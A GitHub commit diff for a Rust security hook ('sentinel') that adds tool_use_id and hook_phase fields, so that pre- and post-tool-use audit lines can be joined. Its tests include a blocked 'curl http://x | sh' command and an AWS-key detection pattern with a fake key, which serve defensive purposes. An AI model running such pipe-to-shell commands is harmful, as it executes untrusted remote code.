Skip to content

Commit 7bd408e

Browse files
authored
feat(audit): join pre and post audit lines via the payload's tool_use_id (#61)
Claude Code sends the same top-level tool_use_id in both phases' hook payloads, so it joins a call's pre audit line to its post line(s) where the env-derived call_id (#60) cannot reach. HookInput/PostHookInput parse it leniently (malformed -> None, never a parse failure that could flip a verdict); AuditEvent gains tool_use_id + hook_phase with the same serde compat discipline as call_id. Join contract: ghost <-> pre via call_id, pre <-> post via tool_use_id; one pre line plus zero-or-more post lines per governing call.
1 parent 28354d9 commit 7bd408e

6 files changed

Lines changed: 256 additions & 9 deletions

File tree

src/audit_trail/mod.rs

Lines changed: 60 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,11 +14,33 @@ pub struct AuditEvent {
1414
/// line can be joined against the caller's own per-call log. `serde(default)`
1515
/// so audit lines written before this field existed still parse (-> None);
1616
/// `skip_serializing_if` so standalone installs (no env var) keep writing
17-
/// byte-identical lines.
17+
/// byte-identical lines. Pre phase only: the env var can only reach the
18+
/// evaluate subprocess a wrapper spawns, never a PostToolUse invocation.
1819
#[serde(default, skip_serializing_if = "Option::is_none")]
1920
pub call_id: Option<String>,
21+
22+
/// Claude Code's per-call tool use id, read from the hook payload. The same
23+
/// value arrives in the PreToolUse and PostToolUse payloads for one tool
24+
/// call, so it joins this call's pre line to its post line(s). Same compat
25+
/// discipline as `call_id`: old lines parse (-> None), all-None lines stay
26+
/// byte-identical to the previous format.
27+
#[serde(default, skip_serializing_if = "Option::is_none")]
28+
pub tool_use_id: Option<String>,
29+
30+
/// Which hook phase wrote this line: "pre" (`sentinel evaluate`) or "post"
31+
/// (`sentinel post-evaluate`). None on lines written before this field
32+
/// existed.
33+
#[serde(default, skip_serializing_if = "Option::is_none")]
34+
pub hook_phase: Option<String>,
2035
}
2136

37+
// THE JOIN CONTRACT (when ghost + sentinel are both current):
38+
// ghost feed line <-> sentinel PRE line via `call_id` (env-derived)
39+
// sentinel PRE line <-> sentinel POST lines via `tool_use_id` (payload-derived)
40+
// One governing call = exactly one pre line + zero-or-more post lines. Claude
41+
// Code does not fire PostToolUse for a denied call (verified 2.1.207), so a
42+
// blocked call has zero post lines — that's expected, not missing data.
43+
2244
/// The env var a wrapping caller sets to correlate its own per-call log line
2345
/// with the audit line sentinel writes for the same call.
2446
pub const CALL_ID_ENV: &str = "SENTINEL_CALL_ID";
@@ -89,6 +111,8 @@ mod tests {
89111
matched_rule: Some("deny.commands[0]".into()),
90112
mode: "enforce".into(),
91113
call_id,
114+
tool_use_id: None,
115+
hook_phase: None,
92116
}
93117
}
94118

@@ -125,6 +149,41 @@ mod tests {
125149
assert_eq!(ev.tool_name, "Read");
126150
}
127151

152+
#[test]
153+
fn tool_use_id_and_hook_phase_roundtrip() {
154+
let mut ev = event(Some("2f1e9c1a-7c39-4b6e-9d1a-000000000001".into()));
155+
ev.tool_use_id = Some("toolu_01QoWqbiPYgBoiZQPDuvUHKb".into());
156+
ev.hook_phase = Some("pre".into());
157+
let line = serde_json::to_string(&ev).unwrap();
158+
let back: AuditEvent = serde_json::from_str(&line).unwrap();
159+
assert_eq!(back.tool_use_id.as_deref(), Some("toolu_01QoWqbiPYgBoiZQPDuvUHKb"));
160+
assert_eq!(back.hook_phase.as_deref(), Some("pre"));
161+
// and call_id coexists: the ghost<->pre key and the pre<->post key are
162+
// independent columns on the same line.
163+
assert_eq!(back.call_id.as_deref(), Some("2f1e9c1a-7c39-4b6e-9d1a-000000000001"));
164+
}
165+
166+
#[test]
167+
fn all_none_new_fields_keep_the_line_byte_identical_to_the_prior_format() {
168+
// an event with call_id/tool_use_id/hook_phase all None must serialize
169+
// to EXACTLY the pre-correlation shape — no new keys, ever.
170+
let line = serde_json::to_string(&event(None)).unwrap();
171+
assert_eq!(
172+
line,
173+
r#"{"timestamp":"2026-07-13T00:00:00+00:00","tool_name":"Bash","action":"block","reason":"pipe to shell execution","matched_rule":"deny.commands[0]","mode":"enforce"}"#
174+
);
175+
}
176+
177+
#[test]
178+
fn prior_generation_audit_lines_still_parse() {
179+
// a #60-era line: call_id present, tool_use_id/hook_phase not yet born.
180+
let v60 = r#"{"timestamp":"2026-07-13T23:45:53+00:00","tool_name":"Bash","action":"block","reason":"pipe to shell execution","matched_rule":"deny.commands: x","mode":"enforce","call_id":"e1987b56-04bb-4cc1-b0c1-af4eb4fdc7b1"}"#;
181+
let ev: AuditEvent = serde_json::from_str(v60).expect("#60-era lines must keep parsing");
182+
assert_eq!(ev.call_id.as_deref(), Some("e1987b56-04bb-4cc1-b0c1-af4eb4fdc7b1"));
183+
assert!(ev.tool_use_id.is_none());
184+
assert!(ev.hook_phase.is_none());
185+
}
186+
128187
#[test]
129188
fn normalize_call_id_drops_missing_empty_and_whitespace() {
130189
assert_eq!(normalize_call_id(None), None);

src/doctor/mod.rs

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -566,6 +566,8 @@ mod tests {
566566
matched_rule: None,
567567
mode: "enforce".into(),
568568
call_id: None,
569+
tool_use_id: None,
570+
hook_phase: None,
569571
};
570572
let events = vec![
571573
ev("block", &recent),

src/evaluate/hook_schema.rs

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18,11 +18,33 @@ pub struct HookInput {
1818
#[serde(default)]
1919
pub cwd: Option<String>,
2020

21+
/// Claude Code's per-call tool use id. The SAME value arrives in the
22+
/// PreToolUse and PostToolUse payloads for one tool call (verified against
23+
/// Claude Code 2.1.207), which makes it the pre↔post join key in the audit
24+
/// trail. Lenient on purpose: absent, empty, or non-string values become
25+
/// `None` — a malformed id must never make the whole payload unparseable,
26+
/// because an unparseable payload is a *degraded input* and can change the
27+
/// verdict under fail-closed.
28+
#[serde(default, deserialize_with = "lenient_opt_string")]
29+
pub tool_use_id: Option<String>,
30+
2131
// capture everything else for forward compatibility
2232
#[serde(flatten)]
2333
pub _extra: serde_json::Map<String, serde_json::Value>,
2434
}
2535

36+
/// Deserialize an optional string field without ever failing the parent parse:
37+
/// a string → trimmed `Some` (empty → `None`); null / absent / any non-string
38+
/// JSON type → `None`. Shared by the pre and post hook input schemas.
39+
pub(crate) fn lenient_opt_string<'de, D>(d: D) -> Result<Option<String>, D::Error>
40+
where
41+
D: serde::Deserializer<'de>,
42+
{
43+
let v = Option::<serde_json::Value>::deserialize(d)?;
44+
Ok(v.and_then(|x| x.as_str().map(|s| s.trim().to_string()))
45+
.filter(|s| !s.is_empty()))
46+
}
47+
2648
/// Build a synthetic Bash ToolCall for a single command string, reusing the
2749
/// full extraction pipeline (paths mined from the command, shell de-obfuscation).
2850
/// Used to re-evaluate a hook command injected into a settings-file write through
@@ -32,6 +54,7 @@ pub fn tool_call_for_command(command: &str) -> ToolCall {
3254
tool_name: Some("Bash".into()),
3355
tool_input: serde_json::json!({ "command": command }),
3456
cwd: None,
57+
tool_use_id: None,
3558
_extra: serde_json::Map::new(),
3659
}
3760
.to_tool_call()
@@ -325,6 +348,38 @@ mod tests {
325348
assert_eq!(no_cwd.cwd, None);
326349
}
327350

351+
#[test]
352+
fn tool_use_id_is_parsed_and_lenient() {
353+
// present -> lands on the field (the pre<->post audit join key).
354+
let json = r#"{"tool_name":"Bash","tool_input":{"command":"ls"},"tool_use_id":"toolu_01QoWqbiPYgBoiZQPDuvUHKb"}"#;
355+
let input: HookInput = serde_json::from_str(json).unwrap();
356+
assert_eq!(
357+
input.tool_use_id.as_deref(),
358+
Some("toolu_01QoWqbiPYgBoiZQPDuvUHKb")
359+
);
360+
361+
// absent -> None.
362+
let none: HookInput =
363+
serde_json::from_str(r#"{"tool_name":"Bash","tool_input":{}}"#).unwrap();
364+
assert_eq!(none.tool_use_id, None);
365+
366+
// malformed shapes must normalize to None WITHOUT failing the parse —
367+
// an unparseable payload is a degraded input and can change the verdict.
368+
for bad in [
369+
r#"{"tool_name":"Bash","tool_input":{},"tool_use_id":null}"#,
370+
r#"{"tool_name":"Bash","tool_input":{},"tool_use_id":42}"#,
371+
r#"{"tool_name":"Bash","tool_input":{},"tool_use_id":["a"]}"#,
372+
r#"{"tool_name":"Bash","tool_input":{},"tool_use_id":{"x":1}}"#,
373+
r#"{"tool_name":"Bash","tool_input":{},"tool_use_id":""}"#,
374+
r#"{"tool_name":"Bash","tool_input":{},"tool_use_id":" "}"#,
375+
] {
376+
let parsed: HookInput = serde_json::from_str(bad)
377+
.unwrap_or_else(|e| panic!("must stay parseable ({bad}): {e}"));
378+
assert_eq!(parsed.tool_use_id, None, "payload: {bad}");
379+
assert_eq!(parsed.to_tool_call().tool_name, "Bash");
380+
}
381+
}
382+
328383
#[test]
329384
fn graceful_on_unknown_fields() {
330385
let json = r#"{"tool_name": "NewTool", "tool_input": {}, "some_future_field": true}"#;

src/evaluate/mod.rs

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -194,6 +194,10 @@ pub fn run(canary: bool, agent: &str) -> Result<(), Box<dyn std::error::Error>>
194194
// bridge) tagged this call. read-only telemetry: absent or malformed
195195
// env never changes the decision and never touches stdout/stderr.
196196
call_id: audit_trail::call_id_from_env(),
197+
// the payload's per-call id joins this pre line to the call's post
198+
// line(s) — same value in both phases' payloads. telemetry only.
199+
tool_use_id: hook_input.tool_use_id.clone(),
200+
hook_phase: Some("pre".into()),
197201
});
198202

199203
// in audit mode, always allow but log

src/post_evaluate/mod.rs

Lines changed: 13 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,14 @@ use std::io::{self, Read};
2424
struct PostHookInput {
2525
#[serde(default, alias = "tool_output", alias = "toolResponse")]
2626
tool_response: serde_json::Value,
27+
/// same per-call id the PreToolUse payload carried — the pre↔post join key.
28+
/// lenient like the pre schema: absent/empty/non-string -> None, never a
29+
/// parse failure.
30+
#[serde(
31+
default,
32+
deserialize_with = "crate::evaluate::hook_schema::lenient_opt_string"
33+
)]
34+
tool_use_id: Option<String>,
2735
#[serde(flatten)]
2836
_extra: serde_json::Map<String, serde_json::Value>,
2937
}
@@ -83,9 +91,12 @@ pub fn run() -> Result<(), Box<dyn std::error::Error>> {
8391
mode: engine.mode().to_string(),
8492
// the correlation id (SENTINEL_CALL_ID) is set by a caller wrapping the
8593
// *evaluate* subprocess; a PostToolUse invocation is a separate process
86-
// Claude Code spawns directly, and the join contract is exactly one
87-
// audit line per governing call — so no call_id here.
94+
// Claude Code spawns directly, so the env route is dead here BY DESIGN.
95+
// this post line joins its governing call through tool_use_id instead:
96+
// pre <-> post share the payload's id, ghost <-> pre share call_id.
8897
call_id: None,
98+
tool_use_id: hook.tool_use_id.clone(),
99+
hook_phase: Some("post".into()),
89100
});
90101

91102
let out = PostHookOutput {

tests/audit_correlation.rs

Lines changed: 122 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,24 @@
11
//! Correlation-id contract for the audit trail.
22
//!
3-
//! A wrapping caller (the ghost bridge) sets `SENTINEL_CALL_ID` on the
4-
//! `sentinel evaluate` subprocess so its own per-call log line and sentinel's
5-
//! audit line can be joined deterministically. The contract this file pins:
3+
//! Two independent join keys, one contract:
64
//!
7-
//! - env var set -> the ONE audit line for that call carries `call_id`.
5+
//! ghost feed line <-> sentinel PRE line via `call_id` (env-derived:
6+
//! the wrapper sets SENTINEL_CALL_ID on the evaluate subprocess it spawns)
7+
//! sentinel PRE line <-> sentinel POST lines via `tool_use_id` (payload-
8+
//! derived: Claude Code sends the same id in both phases' hook inputs)
9+
//!
10+
//! The env route is dead for PostToolUse BY DESIGN — that hook is spawned by
11+
//! Claude Code, not by ghost — hence the payload key. What this file pins:
12+
//!
13+
//! - env var set -> the ONE pre audit line for that call carries `call_id`.
814
//! - env var absent -> the audit line has no `call_id` key (byte-identical to
915
//! the pre-correlation format), and old lines keep parsing.
10-
//! - the env var is telemetry ONLY: verdict, exit code, and the hook's
11-
//! stdout JSON are identical with and without it, present or malformed.
16+
//! - both phases stamp `hook_phase` and the payload's `tool_use_id`, and the
17+
//! two phases' lines for one call share the same `tool_use_id`.
18+
//! - post lines NEVER carry `call_id`, even if the env var leaks into the
19+
//! post process's environment.
20+
//! - all of it is telemetry ONLY: verdict, exit code, and the hook's stdout
21+
//! JSON are identical whether the ids are present, absent, or malformed.
1222
1323
use assert_cmd::Command;
1424
use std::fs;
@@ -99,6 +109,112 @@ fn env_var_absent_keeps_the_audit_line_in_the_old_format() {
99109
);
100110
}
101111

112+
/// A live AWS-key-shaped string, assembled at runtime so this test file never
113+
/// trips a live sentinel hook when written/edited (same trick as post_tooluse.rs).
114+
fn aws_key() -> String {
115+
format!("{}{}", "AK", "IAABCDEFGHIJKLMNOP")
116+
}
117+
118+
/// Policy that also knows a secret shape, so post-evaluate has something to
119+
/// detect (it only writes an audit line on a detection).
120+
const SECRET_POLICY: &str = r#"
121+
[policy]
122+
mode = "enforce"
123+
on_failure = "closed"
124+
default = "allow"
125+
126+
[[deny.secrets]]
127+
pattern = 'AKIA[0-9A-Z]{16}'
128+
action = "block"
129+
reason = "AWS access key ID"
130+
"#;
131+
132+
#[test]
133+
fn pre_and_post_lines_share_the_payloads_tool_use_id() {
134+
let home = home_with_policy();
135+
fs::write(
136+
home.path().join(".sentinel").join("policy.toml"),
137+
SECRET_POLICY,
138+
)
139+
.unwrap();
140+
let tuid = "toolu_01QoWqbiPYgBoiZQPDuvUHKb";
141+
142+
// phase 1: the pre hook, wrapped by ghost (env var set), payload carries
143+
// the tool_use_id exactly where Claude Code puts it (top level).
144+
let payload = format!(
145+
r#"{{"tool_name":"Bash","tool_input":{{"command":"aws s3 ls"}},"tool_use_id":"{tuid}"}}"#
146+
);
147+
let (code, stdout, audit) = run_evaluate(home.path(), &payload, Some("ghost-made-id"));
148+
assert_eq!(code, Some(0));
149+
assert_eq!(stdout.trim(), "{}", "stdout contract untouched");
150+
151+
// phase 2: the post hook, spawned by Claude Code — the env var is dead here
152+
// even if it leaks into the process env; the payload id is the join key.
153+
let post_payload = format!(
154+
r#"{{"tool_name":"Bash","tool_use_id":"{tuid}","tool_response":{{"stdout":"key: {}"}}}}"#,
155+
aws_key()
156+
);
157+
let out = Command::cargo_bin("sentinel")
158+
.unwrap()
159+
.arg("post-evaluate")
160+
.env("HOME", home.path())
161+
.env("SENTINEL_CALL_ID", "must-not-land-on-the-post-line")
162+
.write_stdin(post_payload)
163+
.output()
164+
.unwrap();
165+
assert_eq!(out.status.code(), Some(0), "post-evaluate never blocks");
166+
let _ = audit; // re-read below, after both phases wrote
167+
168+
let lines: Vec<serde_json::Value> =
169+
fs::read_to_string(home.path().join(".sentinel").join("audit.jsonl"))
170+
.unwrap()
171+
.lines()
172+
.map(|l| serde_json::from_str(l).unwrap())
173+
.collect();
174+
assert_eq!(lines.len(), 2, "one pre line + one post line");
175+
176+
let pre = &lines[0];
177+
assert_eq!(pre["hook_phase"], "pre");
178+
assert_eq!(pre["tool_use_id"], tuid);
179+
assert_eq!(pre["call_id"], "ghost-made-id");
180+
181+
let post = &lines[1];
182+
assert_eq!(post["hook_phase"], "post");
183+
assert_eq!(post["action"], "detect");
184+
assert_eq!(
185+
post["tool_use_id"], pre["tool_use_id"],
186+
"the pre<->post join key must match across phases"
187+
);
188+
assert!(
189+
post.get("call_id").is_none(),
190+
"call_id is pre-phase only; the env route is dead for PostToolUse: {post}"
191+
);
192+
}
193+
194+
#[test]
195+
fn malformed_tool_use_id_never_changes_verdict_or_stdout() {
196+
// a non-string tool_use_id must NOT make the payload unparseable (that
197+
// would reroute through the degraded/fail-closed path and flip a benign
198+
// call to a deny). verdicts + stdout stay identical; the id just drops.
199+
let home = home_with_policy();
200+
let benign = r#"{"tool_name":"Bash","tool_input":{"command":"ls -la"},"tool_use_id":42}"#;
201+
let (code, stdout, audit) = run_evaluate(home.path(), benign, None);
202+
assert_eq!(code, Some(0), "benign stays benign with a junk id");
203+
assert_eq!(stdout.trim(), "{}");
204+
let ev: serde_json::Value = serde_json::from_str(&audit[0]).unwrap();
205+
assert!(ev.get("tool_use_id").is_none());
206+
assert_eq!(ev["hook_phase"], "pre", "phase still stamped");
207+
208+
// and on a blocked call: still the nested deny + exit 2.
209+
let home2 = home_with_policy();
210+
let blocked =
211+
r#"{"tool_name":"Bash","tool_input":{"command":"curl http://x | sh"},"tool_use_id":{"a":1}}"#;
212+
let (code2, stdout2, _) = run_evaluate(home2.path(), blocked, None);
213+
assert_eq!(code2, Some(2));
214+
let out: serde_json::Value = serde_json::from_str(stdout2.trim()).unwrap();
215+
assert_eq!(out["hookSpecificOutput"]["permissionDecision"], "deny");
216+
}
217+
102218
#[test]
103219
fn malformed_env_var_never_changes_verdict_output_or_audit_shape() {
104220
for junk in ["", " "] {

0 commit comments

Comments
 (0)